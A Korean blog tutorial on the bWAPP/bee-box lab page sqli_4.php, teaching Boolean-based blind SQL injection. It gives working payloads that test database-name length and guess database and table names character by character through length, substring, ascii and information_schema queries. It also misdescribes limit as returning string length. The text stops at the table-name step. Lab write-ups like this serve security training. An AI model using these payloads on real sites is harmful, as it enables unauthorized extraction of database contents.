์ƒˆ์†Œ์‹

Game/Bee-box

[Bee-box] Blind SQL ์ธ์ ์…˜ - Boolean Based

  • -
๋ฐ˜์‘ํ˜•

์ด๋ฒˆ ํฌ์ŠคํŒ…์€ Blind SQL์ธ์ ์…˜  Boolean Based ๋ฐฉ๋ฒ• ์ž…๋‹ˆ๋‹ค.

 

์‹ค์Šตํ•˜๋Š” ๋ชจ๋“  ๊ณต๊ฒฉ์€ ์‹ค์ œ๋กœ ์‚ฌ์šฉํ•˜์‹œ๋ฉด ์•ˆ๋ฉ๋‹ˆ๋‹ค.

ํ—ˆ์šฉ๋ฐ›์ง€ ์•Š์€ ์„œ๋น„์Šค ๋Œ€์ƒ์— ํ•ดํ‚น์„ ์‹œ๋„ํ•˜๋Š” ํ–‰๋™์€ ๊ธˆ์ง€ํ•˜๋ฉฐ,

๋ชจ๋“  ๋ฒ•์  ์ฑ…์ž„์€ ์‚ฌ์šฉ์ž์—๊ฒŒ ์žˆ๋Š” ๊ฒƒ์„ ๋ช…์‹ฌํ•ด์ฃผ์„ธ์š”.

 

์„ค๋ช…์— ์•ž์„œ, ์•ž์œผ๋กœ ํ•˜๋Š” SQL ์ธ์ ์…˜์˜ ์ผ๋ถ€ ๊ณต๊ฒฉ๋“ค์€ ๋Œ€์‘๋ฐฉ์•ˆ์„ ๋”ฐ๋กœ ํฌ์ŠคํŒ… ํ•˜์ง€ ์•Š์„๊ฒŒ์š”. 

๋Œ€๋ถ€๋ถ„ ๊ฐ™์€ ์„ค๋ช…์ด๊ธฐ ๋•Œ๋ฌธ์— ์ƒ๋žตํ•˜๊ณ , ๋‹ค๋ฅธ ๊ฒฝ์šฐ ๊ธฐ์žฌํ•˜๋„๋ก ํ•˜๊ฒ ์Šต๋‹ˆ๋‹ค.

 

 


 

์˜ค๋Š˜ ์‹ค์Šตํ•ด๋ณผ Blind SQL์ธ์ ์…˜์€ ์ „์— ํ•ด์™”๋˜ SQL์ธ์ ์…˜๊ณผ๋Š” ์กฐ๊ธˆ ๋‹ค๋ฅธ ๋ฐฉ์‹์ด๋ฏ€๋กœ, 

 

 

Blind SQL์ธ์ ์…˜์„ ๋จผ์ € ์„ค๋ช… ๋“œ๋ฆฌ๊ณ  ์‹ค์Šต์„ ์‹œ์ž‘ํ•˜๋„๋ก ํ•˜๊ฒ ์Šต๋‹ˆ๋‹ค.

 

 

Blind SQL ์ธ์ ์…˜์ด๋ž€

 

'Blind SQL' ์ธ์ ์…˜์€ ์ฟผ๋ฆฌ์˜ ๊ฒฐ๊ณผ๋ฅผ ์ฐธ๊ณผ ๊ฑฐ์ง“์œผ๋กœ๋งŒ ์ถœ๋ ฅํ•˜๋Š” ํŽ˜์ด์ง€์—์„œ ์‚ฌ์šฉํ•˜๋Š” ๊ณต๊ฒฉ์ด๋‹ค.

์ถœ๋ ฅ ๋‚ด์šฉ์ด ์ฐธ / ๊ฑฐ์ง“ ๋ฐ–์— ์—†์–ด์„œ ๊ทธ๊ฒƒ์„ ์ด์šฉํ•˜์—ฌ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์˜ ๋‚ด์šฉ์„ ์ถ”์ธกํ•˜์—ฌ ์ฟผ๋ฆฌ๋ฅผ ์กฐ์ž‘ํ•œ๋‹ค.

 

 

์ž์„ธํ•œ ์„ค๋ช… โ–ผ

๋”๋ณด๊ธฐ

Blind SQL ์ธ์ ์…˜์˜ ์ฟผ๋ฆฌ๋ฌธ์— ์‚ฌ์šฉํ•˜๋Š” ํ•จ์ˆ˜๋Š” 

substring,ascii,limit ๋“ฑ์ด ์žˆ๋‹ค. (๊ฐ ํ•จ์ˆ˜๋Š” ์•„๋ž˜์˜ ์‹ค์Šต์„ ํ•  ๋•Œ ๋”์šฑ ์ดํ•ด์‰ฝ๊ฒŒ ์„ค๋ช…ํ•  ์˜ˆ์ •)

 

substringํ•จ์ˆ˜๋Š” ์ฒซ ๋ฒˆ์งธ ์ธ์ž๋กœ ๋ฐ›์€ ๋ฌธ์ž์—ด์„ ์ง€์ •ํ•œ ๊ธธ์ด๋งŒํผ ์ถœ๋ ฅํ•˜๋Š”๋ฐ, ์ฃผ๋กœ ๋ฌธ์ž ํ•˜๋‚˜์”ฉ ์ถœ๋ ฅ ํ•˜์—ฌ ์ด๋ฆ„์„

์•Œ์•„๋‚ด๋Š”๋ฐ์— ์‚ฌ์šฉํ•œ๋‹ค.

 

asciiํ•จ์ˆ˜๋Š” ๋ฌธ์ž๋ฅผ ์•„์Šคํ‚ค์ฝ”๋“œ๋กœ ๋ณ€ํ™˜ํ•˜๋Š”๋ฐ, ์ž‘์€๋”ฐ์˜ดํ‘œ(')๋ฅผ ์šฐํšŒํ•˜๋Š” ๋ณ€์ˆ˜์ผ ๋•Œ ๋ฌธ์ž๋ฅผ ์ž…๋ ฅํ•˜๊ธฐ ์œ„ํ•˜์—ฌ ์‚ฌ์šฉํ•œ๋‹ค.

 

limit ํ•จ์ˆ˜๋Š” ๋ฌธ์ž์—ด์˜ ๊ธธ์ด๋ฅผ ๋ฐ˜ํ™˜ํ•œ๋‹ค. ๋ฌธ์žฅ์—ด์˜ ๊ธธ์ด๋ฅผ ์•Œ์•„๋‚ด๋ฉด substring ํ•จ์ˆ˜๋กœ ๋ฌธ์ž์—ด์„ ์ถ”์ธกํ•˜๊ธฐ ์‰ฌ์›Œ์ง„๋‹ค.

 

์„ธํ•จ์ˆ˜๋ฅผ ํ†ตํ•ด ์ž„์˜์˜ ๊ฐ’์„ ์ž…๋ ฅํ•˜๋ฉฐ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ๋‚ด์šฉ์„ ์•Œ์•„๋‚ผ ๋•Œ๊นŒ์ง€ ๊ณ„์† ๋น„๊ตํ•œ๋‹ค.

 

 

 

๊ณต๊ฒฉํ๋ฆ„๋„

 

 

SQL์ธ์ ์…˜ ๊ณต๊ฒฉํ๋ฆ„๊ณผ ์–ผํ•๋ณด๋ฉด ๊ฐ™์ง€๋งŒ, blind sql์€ ์ฐธ,๊ฑฐ์ง“์œผ๋กœ๋งŒ ์ถœ๋ ฅ์‹œํ‚ด

 

 

 

 

Boolean Based 

 

Bollean Based ์ธ์ ์…˜์€ ์ฐธ๊ณผ ๊ฑฐ์ง“๋งŒ ์ถœ๋ ฅํ•˜๋Š” ํŽ˜์ด์ง€์— ๊ณต๊ฒฉ์ž๊ฐ€ ์กฐ์ž‘ํ•œ ์ฟผ๋ฆฌ๋กœ ์ธํ•ด ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ๋‚ด์šฉ์„

๋…ธ์ถœํ•˜๋Š” ์ทจ์•ฝ์ ์ด๋‹ค. ์ฟผ๋ฆฌ๋Š” ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ๋‚ด์šฉ์ด ์ผ์น˜ํ•˜์—ฌ ์›น ํŽ˜์ด์ง€์—์„œ ์ฐธ์„ ์ถœ๋ ฅ์‹œํ‚ฌ ๋•Œ๊นŒ์ง€ ์ž„์˜์˜ ๊ฐ’์„ ๋Œ€์ž…ํ•œ๋‹ค.

 

 

 

 

'sqli_4.php' ํŽ˜์ด์ง€๋Š” ์‚ฌ์šฉ์ž๊ฐ€ ์ž…๋ ฅํ•œ ๊ฒ€์ƒ‰์–ด์™€ ์ผ์น˜ํ•˜๋Š” ์˜ํ™”๊ฐ€ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์— ์žˆ๋Š”์ง€๋ฅผ ์ถœ๋ ฅํ•œ๋‹ค.

 

 

 

 

๋‚œ์ด๋„ ํ•˜

๊ฒ€์ƒ‰๋ž€์— ์ž‘์˜ด๋”ฐ์˜ดํ‘œ๋ฅผ ์ž…๋ ฅํ•˜์—ฌ SQL ์ธ์ ์…˜์ด ๊ฐ€๋Šฅํ•œ์ง€ ์•Œ์•„๋ณธ๋‹ค.

 

SQL์ธ์ ์…˜ ์ทจ์•ฝ์ ์ด ์žˆ๋Š” ๊ฒฝ์šฐ SQL์˜ค๋ฅ˜ ๋ฉ”์‹œ์ง€๋ฅผ ์ถœ๋ ฅํ•จ.

 

 

 

 

๋ฌธ๋ฒ• ์—๋Ÿฌ : ์ฆ‰ SQL์ธ์ ์…˜ ๊ณต๊ฒฉ์ด ๊ฐ€๋Šฅํ•˜๋‹ค๋Š” ๋œป

 

 

 

 

๊ฒฐ๊ณผ๋ฅผ ํ•ญ์ƒ ์ฐธ์œผ๋กœ ๋งŒ๋“œ๋Š” ์ฟผ๋ฆฌ ์ž…๋ ฅ์‹œ ์•„๋ž˜ ์˜ํ™”๊ฐ€ ์กด์žฌํ•œ๋‹ค๋Š” ๋ฉ”์‹œ์ง€๊ฐ€ ์ถœ๋ ฅ๋œ๋‹ค.

์ฆ‰ ๊ฒฐ๊ณผ๊ฐ€ ์ฐธ ์ผ๋•Œ ์›น ํŽ˜์ด์ง€์—์„œ ์ถœ๋ ฅํ•˜๋Š” ๋ฉ”์‹œ์ง€์ด๋‹ค.

 

์ด ๊ฒ€์ƒ‰๋ž€์„ ํ†ตํ•ด boolean based sql ์ธ์ ์…˜ ๊ณต๊ฒฉ์ด ๊ฐ€๋Šฅํ•˜๋‹ค.

 

 

 

 

๊ฒฐ๊ณผ๊ฐ€ ๊ฑฐ์ง“์ธ ๊ฒฝ์šฐ ์•„๋ž˜์™€ ๊ฐ™์€ ๋ฉ”์„ธ์ง€๊ฐ€ ์ถœ๋ ฅ๋œ๋‹ค.

 

๋ชจ๋“  ๊ฒฐ๊ณผ๋ฅผ ๋‘ ๋ฌธ์žฅ์œผ๋กœ ์ถœ๋ ฅ์‹œ์ผœ ์คŒ์œผ๋กœ, ์ด ๋‘ ๋ฉ”์„ธ์ง€๋ฅผ ํ†ตํ•˜์—ฌ ์ฟผ๋ฆฌ์˜ ์ฐธ๊ณผ ๊ฑฐ์ง“ ์—ฌ๋ถ€๋ฅผ ํŒ๋‹จ ํ•  ์ˆ˜ ์žˆ๋‹ค.

 

 

๋”๋ณด๊ธฐ

- ํ•„์ˆ˜ ์ฝ”์Šค -

 

1. SQL์ธ์ ์…˜ ํ™•์ธ  -> ์˜ค๋ฅ˜๋ฉ”์„ธ์ง€ (์ž‘์€๋”ฐ์˜ดํ‘œ ์ฐ์–ด์„œ)
2. ์—๋Ÿฌ๋ฉ”์„ธ์ง€ ํ™•์ธ (์ฐธ์ผ๋•Œ ๋ฉ”์„ธ์ง€์™€ ๊ฑฐ์ง“์ผ๋•Œ ๋ฉ”์„ธ์ง€))
3. ์ปฌ๋Ÿผ์ˆ˜ ๋งž์ถฐ๋ณด๊ธฐ(union base sql injection) ์•ž๊ณผ ์ด์–ด์„œ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Œ.

 

 

 

 

์ฐธ ๊ฑฐ์ง“ ๋ฉ”์„ธ์ง€๋กœ ์•ž์— ์ฟผ๋ฆฌ๋ฌธ ์ปฌ๋Ÿผ ์ˆ˜๊ฐ€ 7๊ฐœ ๋ผ๋Š” ๊ฒƒ์„ ์•Œ ์ˆ˜ ์žˆ๋‹ค.

์ฆ‰ ์ด ํŽ˜์ด์ง€์˜ ์ •์ƒ ์ฟผ๋ฆฌ๋Š” ์ด 7๊ฐœ์˜ ์นผ๋Ÿผ์„ ํ˜ธ์ถœํ•œ๋‹ค.

 

 


 

๊ธฐ์กด์˜ UNION Based SQL์ธ์ ์…˜๊ณผ ๋‹ค๋ฅด๊ฒŒ ๊ฒฐ๊ณผ๋ฅผ ์ถœ๋ ฅํ•˜์ง€ ์•Š๊ณ  

๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ๋‚ด์— ์žˆ๋Š”์ง€ ์ฒดํฌ๋งŒ ํ•ด์ฃผ๊ธฐ ๋•Œ๋ฌธ์— ์•ˆ์— ๋‚ด์šฉ์„ ์œ ์ถ”ํ•˜์—ฌ, ์ธ์ ์…˜์„ ์‹œ๋„ํ•ด์•ผํ•œ๋‹ค. 

 

 

 

์ด์ œ๋ถ€ํ„ฐ substring, length, limit, ascii ๋“ฑ์˜ ํ•จ์ˆ˜๋ฅผ ์‚ฌ์šฉํ•ด์„œ ๋‚ด์šฉ์„ ์ถ”์ธกํ•ด๋ณด๊ฒ ๋‹ค. 

 

 

<!-- ๋ธ”๋ผ์ธ๋“œ SQL์ธ์ ์…˜์€ ๋งค์šฐ ๋…ธ๊ฐ€๋‹ค๋ฅผ ํ•ด์•ผํ•ฉ๋‹ˆ๋‹ค... ๊ทธ๋ ‡๊ธฐ ๋•Œ๋ฌธ์—

ํŒŒ์ด์ฌ์œผ๋กœ ์ฝ”๋“œ๋ฅผ ์งœ์„œ ํ•ด๋ณด์‹œ๋ฉด ๊ฒธ์‚ฌ๊ฒธ์‚ฌ ์ข‹์„ ๊ฒƒ ๊ฐ™์•„์š”! -->

 

 

 

DB์— ๋‚ด์šฉ์ด ์žˆ๋Š๋ƒ ์—†๋Š๋ƒ๋งŒ ํ™•์ธ์ด ๊ฐ€๋Šฅํ•˜๊ธฐ ๋•Œ๋ฌธ์—, ๊ธธ์ด,์ด๋ฆ„ ๋“ฑ ๋ชจ๋“  ์ •๋ณด๊ฐ€ ์—†๋‹ค. ์ฆ‰ ์•„๋ž˜์™€ ๊ฐ™์€ ์ˆœ์„œ๋กœ

ํŒŒ์•…์„ ํ•ด์ฃผ๋Š” ๊ฒƒ์ด ์ค‘์š”ํ•˜๋‹ค.

 

 

 

1. ๋ฐ์ดํ„ฐ ๋ฒ ์ด์Šค ์ด๋ฆ„ (์˜ ๊ธธ์ด) ---> ๊ธ€์ž ๊ธธ์ด ํŒŒ์•…

   1.1 ๋ฐ์ดํ„ฐ ๋ฒ ์ด์Šค ์ด๋ฆ„ --> ๊ธ€์ž ๊ธธ์ด์— ๋งž์ถฐ ํ•œ ๊ธ€์ž์”ฉ ํŒŒ์•…

 

2.  ํ…Œ์ด๋ธ” ์ด๋ฆ„(์˜ ๊ธธ์ด) --> ํ…Œ์ด๋ธ”์€ ํ•œ๋‘๊ฐœ๊ฐ€ ์•„๋‹˜

(์ฆ‰, ์—ฌ๋Ÿฌ๊ฐœ์˜ ํ…Œ์ด๋ธ” ์ค‘ ์˜์‹ฌ์ด ๊ฐ€๋Š” ํ…Œ์ด๋ธ” ์ด๋ฆ„์„ ์•„๋ ค๋ฉด, 1๋ฒˆ์งธ ์ค„๋ถ€ํ„ฐ ์ด์–ด ๋‚˜๊ฐ€์„œ ์•Œ์•„์•ผํ•จ

ex : ์ฒซ๋ฒˆ์งธ ํ…Œ์ด๋ธ” ์ด๋ฆ„์˜ ๊ธธ์ด ๊ตฌํ•˜๊ณ  ์ด๋ฆ„ ์œ ์ถ” -- > ๋‘๋ฒˆ์งธ ํ…Œ์ด๋ธ” ์ด๋ฆ„ ๊ธธ์ด ๊ตฌํ•˜๊ณ  ์ด๋ฆ„ ์œ ์ถ”ํ•˜๊ธฐ .....๋“ฑ ์›ํ•˜๋Š”

ํ…Œ์ด๋ธ”์ด ๋‚˜์˜ฌ ๋•Œ๊นŒ์ง€ ๋ฐ˜๋ณต)

 

 

3. ์ปฌ๋Ÿผ ์ด๋ฆ„(์˜ ๊ธธ์ด) --> ์ปฌ๋Ÿผ ๋˜ํ•œ ํ•œ๋‘๊ฐœ๊ฐ€ ์•„๋‹˜

 

4. ๋ฐ์ดํƒ€ ์ถ”์ถœํ•˜๊ธฐ (pw๊ฐ™์€๊ฒฝ์šฐ ํ•ด์‹œ๊ฐ’์ผ ํ™•๋ฅ ์ด ๋†’์Œ.)

 


 

๋ˆˆ์œผ๋กœ ํ…Œ์ด๋ธ”๊ณผ ์ปฌ๋Ÿผ๋“ค์„ ํ™•์ธํ•ด๊ฐ€๋ฉฐ, ์‹ค์Šต์„ ํ•ด์•ผ ์ดํ•ด๊ฐ€ ๋น ๋ฅด๊ธฐ ๋•Œ๋ฌธ์— putty๋กœ ์ ‘์†ํ•˜์—ฌ DB๋‚ด๋ถ€๋ฅผ ํ™•์ธํ•ด๋ณธ๋‹ค.

 

 

 



1. DB์ด๋ฆ„์˜ ๊ธธ์ด ํŒŒ์•…ํ•˜๊ธฐ

 


'or 1=1 and  length(database())=1# 
'or 1=1 and  length(database())=2# 
'or 1=1 and  length(database())=3# 
'or 1=1 and  length(database())=4# 
'or 1=1 and  length(database())=5# -> ok DB์ด๋ฆ„์€ ๋ญ”์ง„ ๋ชจ๋ฅด์ง€๋งŒ 5๊ธ€์ž.

--> database์ด๋ฆ„์˜ ๊ธธ์ด๋Š” '5' 
์ฆ‰ 5๊ธ€์ž๋ผ๋Š” ๊ฒƒ์„ ์•Œ์•„๋‚ผ ์ˆ˜ ์žˆ์Œ 

and๊ฐ€ ์šฐ์„ ์ˆœ์œ„๊ฐ€ ๋†’์•„์„œ ๋จผ์ € ํ•˜๊ณ  or ์—ฐ์‚ฐ์„ ํ•จ 
and ์—ฐ์‚ฐ ํ›„ or 1=1 ์ฟผ๋ฆฌ๋ฅผ ํ†ตํ•ด ์„œ๋ฒ„์˜ ์ •์ƒ์ฟผ๋ฆฌ์™€ ์—ฐ๊ฒฐ๋œ๋‹ค.

 

 



substring() ํ•จ์ˆ˜๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด, 
๊ทธ ๋‹จ์–ด์— ๋Œ€ํ•œ ๊ธ€์ž ํ•˜๋‚˜ํ•˜๋‚˜๋ฅผ ํŒŒ์•… ํ•  ์ˆ˜ ์žˆ๋‹ค.


ํ•œ๊ธ€์ž ์”ฉ ๋งž์ถฐ์•ผ ํ•˜๋Š”๋ฐ ์–ด๋–ป๊ฒŒ ๋งž์ถฐ์•ผ ํ• ๊นŒ?


๋ฐ”๋กœ substring์„ ์ด์šฉํ•ด์„œ ๋‹จ์–ด์˜ ํ•œ๊ธ€์ž์”ฉ ๋งž์ถ”๋Š” ๊ฒƒ์ด๋‹ค.



1-1. DB ์ด๋ฆ„ ํŒŒ์•… 

 

์ฒซ๋ฒˆ์งธ ๊ธ€์ž์— a-z ์•„๋ฌด ์•ŒํŒŒ๋ฒณ์„ ๋„ฃ์–ด๋ณธ๋‹ค.


'or 1=1 and substring(database(),1,1) = 'a' # -> ๊ฑฐ์ง“ ๊ฒฐ๊ณผ ๋ฐ˜ํ™˜
'or 1=1 and substring(database(),1,1) = 'b' # -> ์ฐธ ๊ฒฐ๊ณผ ๋ฐ˜ํ™˜

--> ์ฆ‰ b _ _ _ _ ๋ผ๋Š” ๊ฒƒ์„ ์•Œ ์ˆ˜ ์žˆ์Œ

substring ์˜ ์ฒซ๋ฒˆ์งธ ์ธ์ž๋Š”  database์ด๋ฆ„์„ ์•Œ๋ ค์ฃผ๋Š” ์ •์˜ ํ•จ์ˆ˜๋ฅผ ๋„ฃ์—ˆ์Šต๋‹ˆ๋‹ค.

๋‘๋ฒˆ์งธ ์ธ์ž๋Š” ์ฒซ๋ฒˆ์งธ ์ธ๋ฑ์Šค ๊ฐ’์„ ๋งํ•˜๋ฉฐ substring์—์„œ ์ฒซ๋ฒˆ์งธ ์ธ๋ฑ์Šค๋Š” 0์ด์•„๋‹Œ 1์ž…๋‹ˆ๋‹ค. 
์„ธ๋ฒˆ์งธ ์ธ์ž๋Š” ๋ช‡๊ธ€์ž๋ฅผ ์ถ”์ถœํ• ๊ฒƒ์ธ์ง€?๋กœ ์ดํ•ดํ•ด๋„ ๋  ๊ฒƒ๊ฐ™์Šต๋‹ˆ๋‹ค.


ex)  substring('abcd',1,3) ์ด๋ผ๋ฉด ์ฒ˜์Œ ๊ฐ’์ธ a๋ถ€ํ„ฐ 3๊ฐœ๋ฅผ ์ถœ๋ ฅ ์ฆ‰ abc๊ฐ€ ํ•ด๋‹น๋˜๋Š” ๊ฑฐ์ฃ .

 


๋‘๋ฒˆ์งธ ๊ธ€์ž๋ฅผ ์•Œ์•„๋ณด๋ ค๋ฉด 


'or 1=1 and substring(database(),2,1)='w'# ๋ผ๋Š” ์ฟผ๋ฆฌ๋ฌธ์„ ์จ์ค๋‹ˆ๋‹ค.

(์šฐ๋ฆฌ๋Š” bwapp๋ผ๋Š” db์ด๋ฆ„์„ ์•Œ๊ณ  ์žˆ๊ธฐ ๋•Œ๋ฌธ์— ๊ณผ์ •์„ ์ƒ๋žตํ•œ ๊ฒƒ, ๋งŒ์•ฝ ์ด๋ฆ„์„ ๋ชจ๋ฅธ๋‹ค๋ฉด a-z,0-9,A-Z,-,_๋“ฑ๋“ฑ..์ž…๋ ฅํ•ด๋ด์•ผํ•จ. )

 

 

๋‘๋ฒˆ์งธ ์ธ๋ฑ์Šค ๊ฐ’๋งŒ ๋ฐ”๊ฟ”์ฃผ๋ฉด ๊ฐ ๊ธ€์ž๋ฅผ ํŒŒ์•… ํ•  ์ˆ˜ ์žˆ๋‹ค. 

๊ทผ๋ฐ W์™€ w๋ชจ๋‘ ์ฐธ์œผ๋กœ ๊ฐ’์„ ๋Œ๋ ค์ฃผ๋Š” ๊ฒƒ์„๋ณด๋‹ˆ ๋Œ€์†Œ๋ฌธ์ž ๊ตฌ๋ถ„x

์ด๋Ÿฐ์‹์œผ๋กœ 5๋ฒˆ์งธ ๊ธ€์ž ๊นŒ์ง€ ๋ฌด์—‡์ธ์ง€ ๊ตฌํ•ด์ค„ ์ˆ˜ ์žˆ๋‹ค.

 

2. Table์ด๋ฆ„์˜ ๊ธธ์ด ํŒŒ์•…

 

 

์ฆ‰ bWAPP๋ผ๋Š” ๋ฐ์ดํ„ฐ ๋ฒ ์ด์Šค์— ์ฒซ๋ฒˆ์งธ ํ…Œ์ด๋ธ” ์ด๋ฆ„์€ 4๊ธ€์ž๋ผ๋Š” ๊ฒƒ์„ ์œ ์ถ” ํ•  ์ˆ˜ ์žˆ๋‹ค.

 

 

์ด์ฟผ๋ฆฌ์— ๋Œ€ํ•œ ์ž์„ธํ•œ ์„ค๋ช…์€ ์•„๋ž˜ ์ฐธ๊ณ  โ–ผ

๋”๋ณด๊ธฐ

* ์—ฌ๊ธฐ์„œ limit๋Š” substring ๊ณผ ์กฐ๊ธˆ ๋‹ค๋ฅด๊ฒŒ ํ•œ ๊ธ€์ž๊ฐ€ ์•„๋‹ˆ๋ผ ํ•œ ๋‹จ์–ด๋ฅผ ๊ฐ€์ ธ์˜จ๋‹ค๊ณ  ์ดํ•ด ํ•˜์‹œ๋ฉด ๋ฉ๋‹ˆ๋‹ค.


* limitํ•จ์ˆ˜๋Š” ์ฒซ๋ฒˆ์งธ ์ธ๋ฑ์Šค๋ฅผ substring ๊ณผ ๋‹ค๋ฅด๊ฒŒ 0์œผ๋กœ ํ•˜๋ฉฐ, ๋’ค์— ์˜ค๋Š” ์ˆซ์ž๋Š” ์—ญ์‹œ ๋ช‡๊ฐœ์˜ ๋‹จ์–ด๋ฅผ ๊ฐ€์ ธ์˜ค๋Š๋ƒ ๋กœ ์ดํ•ด ํ•˜์‹œ๋ฉด ๋ ๊ฒƒ๊ฐ™์Šต๋‹ˆ๋‹ค. ->  limit 0,1 ์€ ์ œ์ผ ์œ„ ์ฒ˜์Œ ๋‹จ์–ด๋ฅผ ๊ฐ€์ ธ์˜ค๊ฒ ๋‹ค๋Š” ๋œป.

 

 

 

์œ„ ํ…Œ์ด๋ธ”์„ ๋ณด๊ณ  ์„ค๋ช…ํ•˜์ž๋ฉด limit 0,1 ์€ blog๋ฅผ ์˜๋ฏธ (์ฆ‰ 4๊ธ€์ž๊ฐ€ ๋งž์Œ)

limit 1,1 ์€ heroes๋ฅผ ๋งํ•จ

ex) limit 1,3์€ heroes๋ถ€ํ„ฐ 3๊ฐœ ์ฆ‰, heroes, movies, users๋ฅผ ๋œปํ•จ

 

* ๊ด„ํ˜ธ๋ฅผ ๋‘๋ฒˆ ์ณ์ค„์ง€์— ๋Œ€ํ•ด ์ €๋Š” ๊ฐœ์ธ์ ์œผ๋กœ ์˜๋ฌธ์ด ์ƒ๊ฒผ์—ˆ์Šต๋‹ˆ๋‹ค.  ๊ทธ๋ž˜์„œ ์ œ๊ฐ€ ์ฐพ์•„๋ณธ ๊ฒฐ๊ณผ

length๋Š” ํ•œ ๋ณ€์ˆ˜์— ๋Œ€ํ•œ ๊ฐ’, ์ฆ‰ ๋ฌด์–ธ๊ฐ€ ํ•œ ๊ฐ’์— ๋Œ€ํ•œ ๊ธธ์ด๋ฅผ ๋ฐ˜ํ™˜ํ•ด ์ฃผ๋Š” ํ•จ์ˆ˜์ธ๋ฐ 
select ๋ฌธ์ด ๊ทธ๋ƒฅ ๋“ค์–ด๊ฐˆ ์ˆ˜๋Š” ์—†๋‹ค. -> ๊ด„ํ˜ธ๋ฅผ ํ•œ๋ฒˆ๋” ํ•ด์„œ ๊ทธ ์•ˆ์—์„œ limit ๋กœ ์ œ์ผ ์ฒซ๋ฒˆ์งธ ๊ฐ’ ์ฆ‰ blog ๋ผ๋Š” ๋ฌธ์ž์—ด์„ lengthํ•จ์ˆ˜์— ๋„ฃ๋Š”๋‹ค -> ๊ทธ๋Ÿผ ๊ทธ blog์— ๋Œ€ํ•œ ๊ธธ์ด๋ฅผ ๋งž์ถœ ์ˆ˜ ์žˆ์Œ.

์ด๋ ‡๊ฒŒ ์ดํ•ดํ•˜์‹œ๋ฉด ๋  ๊ฒƒ ๊ฐ™์Šต๋‹ˆ๋‹ค.

 

* type ์ด๋ผ๊ณ  ์ง€์ •ํ•ด๋‘” ์ด์œ ๋Š” base table์„์‚ฌ์šฉํ•˜๋ฉด ํŠน์ •ํ•˜๊ฒŒ ์ง€์ •ํ•œ ๊ทธ ํ…Œ์ด๋ธ”์— ๋Œ€ํ•œ ์ •๋ณด๋งŒ ๋ณผ ์ˆ˜ ์žˆ๋‹ค.

bee-box ๊ต์žฌ์—์„œ๋Š” ํ…Œ์ด๋ธ” ํƒ€์ž…์„ ์ง€์ •ํ•˜๋ฉด information_Schema์— ์žˆ๋Š” ๋ฉ”ํƒ€๋ฐ์ดํ„ฐ ์ €์žฅ์šฉ ํ…Œ์ด๋ธ”์„ ์ œ์™ธ ํ•œ๋‹ค๊ณ  ๋˜์–ด์žˆ๋‹ค. 

 

-->์ฆ‰, bWAPP ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์˜ ๋Œ€ํ•œ ํ…Œ์ด๋ธ”๋งŒ ์ถœ๋ ฅ์„ ์‹œํ‚ฌ๊ฑฐ๊ณ , information_schema์— ์žˆ๋Š” ๋ฉ”ํƒ€๋ฐ์ดํƒ€๋Š” ์ œ์™ธํ•˜์—ฌ ์ถœ๋ ฅํ•œ๋‹ค๋Š” ์ฟผ๋ฆฌ์ด๋‹ค.

https://www.mssqltips.com/sqlservertutorial/196/informationschematables/

 

์œ„ ์ฃผ์†Œ ์ฐธ๊ณ 

 

2-1. Table์ด๋ฆ„ ํŒŒ์•…

 

์ด์ œ ์ด table์˜ ์ด๋ฆ„์„ ๋งž์ถฐ๋ณธ๋‹ค๊ณ  ๊ฐ€์ •ํ• ๋•Œ substring์œผ๋กœ a,b,c,d ..์ด๋ ‡๊ฒŒ ๋‹ค ํ•˜๋‚˜์”ฉ ์ผ์ผ์ด ํ•˜๊ธฐ์—”

์‹œ๊ฐ„์ด ์˜ค๋ž˜๊ฑธ๋ฆฌ๋ฏ€๋กœ, ascii ํ•จ์ˆ˜๋ฅผ ์‚ฌ์šฉํ•œ๋‹ค.

 

์ด ํ•จ์ˆ˜๋กœ ๋ฒ”์œ„๋ฅผ ํ•œ์ •ํ•˜์—ฌ ์•Œ์•„๋‚ด๋ฉด ๋ฒ”์œ„๊ฐ€ ์ขํ˜€์ง€๋ฏ€๋กœ ํ›จ์”ฌ ์‹œ๊ฐ„์ด ๋‹จ์ถ• ๋œ๋‹ค.

 

 

์•„์Šคํ‚ค ๊ฐ’์ค‘ a-z๋งŒ ๊ฐ€์ ธ์™€๋ด„.

 

์˜ˆ์‹œ >> 'or 1=1 and ascii(x)
-> x์•ˆ์—๋Š” substring ํ•จ์ˆ˜ ์ฆ‰ substring(y)
-> y์•ˆ์—๋Š” (z),1,1 ํ•œ๊ธ€์ž๋ฅผ ๊ฐ€์ ธ์˜ฌ ๋Œ€์ƒ์ธ ๋ฌด์–ธ๊ฐ€์˜ ๊ฐ’ z,1,1
-> z = select ์ฟผ๋ฆฌ๋ฌธ -> ์ฆ‰ ์ฒซ๋ฒˆ์งธ ํ…Œ์ด๋ธ”์ด๋ฆ„ 
-->ํ•ฉ์ณ์ง€๋ฉด

'or 1=1 and ascii(substring((select table_name from information_schema.tables where table_type='base table'  and table_schema='bWAPP' limit 0,1),1,1)) > 100#

 

 

 

100๋ณด๋‹ค ์•ž์— ์ฟผ๋ฆฌ๋ฌธ์ด ํฐ๊ฐ€? 

 

๊ฒฐ๊ณผ =no 


์ฆ‰ 100๋ณด๋‹ค ์ž‘์€ ์ˆ˜๋ฅผ ์ž…๋ ฅํ•˜๋ฉด ๋œ๋‹ค. ascii ์ฝ”๋“œ๋กœ 100์€ 'd' 
d๋ณด๋‹ค ์•„๋ž˜์ธ c,b,a๋ฅผ ์ž…๋ ฅํ•ด๋ณด๋ฉด ๋œ๋‹ค.

 

 

'or 1=1 and ascii(substring((select table_name from information_schema.tables where table_type='base table'  and table_schema='bWAPP' limit 0,1),1,1)) = 98#

 

 

 

๊ฒฐ๊ณผ = ok 

์ฐธ์ด๋ฏ€๋กœ,  ์ฒซ๋ฒˆ์งธ ํ…Œ์ด๋ธ”์— ์ด๋ฆ„์€ b _ _ _ ์ด๋ผ๋Š” ๊ฒƒ์„ ์•Œ ์ˆ˜ ์žˆ๋‹ค.

 

 

1)๋ฒˆ์งธ ๊ธ€์ž
'or 1=1 and ascii(substring((select table_name from information_schema.tables where table_type='base table'  and table_schema='bWAPP' limit 0,1),1,1)) = 98#

 

2)๋ฒˆ์งธ ๊ธ€์ž

